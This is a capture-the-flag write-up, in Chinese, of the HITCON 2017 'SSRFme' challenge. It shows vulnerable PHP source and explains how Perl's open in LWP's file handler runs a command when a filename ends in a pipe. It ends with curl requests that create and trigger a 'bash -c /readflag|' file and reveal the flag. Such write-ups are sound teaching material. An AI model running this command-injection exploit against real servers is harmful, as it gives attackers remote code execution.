HITCON 2017 SSRFme
题目源码:
<?php
$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox);
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);
这道题的考点是 GET
这个命令的一个命令执行漏洞,主要是 perl 的 feature,在 open 可以执行命令:
ricter@baka:/tmp$ cat a.pl
open(FD, "id|");
print <FD>;
open(FD, "|id");
print <FD>;
ricter@baka:/tmp$ perl a.pl
uid=1000(ricter) gid=1000(ricter) groups=1000(ricter)
uid=1000(ricter) gid=1000(ricter) groups=1000(ricter)
那么,GET
命令对于各个 protocol 的处理是在 /usr/share/perl5/LWP/Protocol
下的:
ricter@baka:/usr/share/perl5/LWP/Protocol$ ls -1
cpan.pm
data.pm
file.pm
ftp.pm
GHTTP.pm
gopher.pm
http.pm
https.pm
loopback.pm
mailto.pm
nntp.pm
nogo.pm
对于 open 函数:
ricter@baka:/usr/share/perl5/LWP/Protocol$ ag open
mailto.pm
88: open(SENDMAIL, "| $SENDMAIL -oi -t") or
ftp.pm
239: # open range -- only the start is specified
537:# may be reasonable to keep the control connection open while accessing
file.pm
84: opendir(D, $path) or
132: open(F, $path) or return new
file 协议才有可以利用的 open,看一下源码:
...
# URL OK, look at file
my $path = $url->file;
# test file exists and is readable
unless (-e $path) {
return HTTP::Response->new( &HTTP::Status::RC_NOT_FOUND,
"File `$path' does not exist");
}
...
# read the file
if ($method ne "HEAD") {
open(F, $path) or return new
HTTP::Response(&HTTP::Status::RC_INTERNAL_SERVER_ERROR,
"Cannot read file '$path': $!");
...
需要文件存在才能触发,验证一下:
ricter@baka:/tmp/a$ touch 'id|'
ricter@baka:/tmp/a$ GET 'file:id|'
uid=1000(ricter) gid=1000(ricter) groups=1000(ricter)
需要存在一个 id|
文件,但是 PHP 源码中会创建目录及文件,那么最终 exp:
ricter@baka:~$ curl -s 'http://13.115.136.15/?url=file:bash%20-c%20/readflag|&filename=bash%20-c%20/readflag|' > /dev/null
ricter@baka:~$ curl -s 'http://13.115.136.15/?url=file:bash%20-c%20/readflag|&filename=bash%20-c%20/readflag|' > /dev/null
ricter@baka:~$ curl 'http://13.115.136.15/sandbox/c36eb1c4372f5f8131542751d486cebd/bash%20-c%20/readflag%7C'
hitcon{Perl_<3_y0u}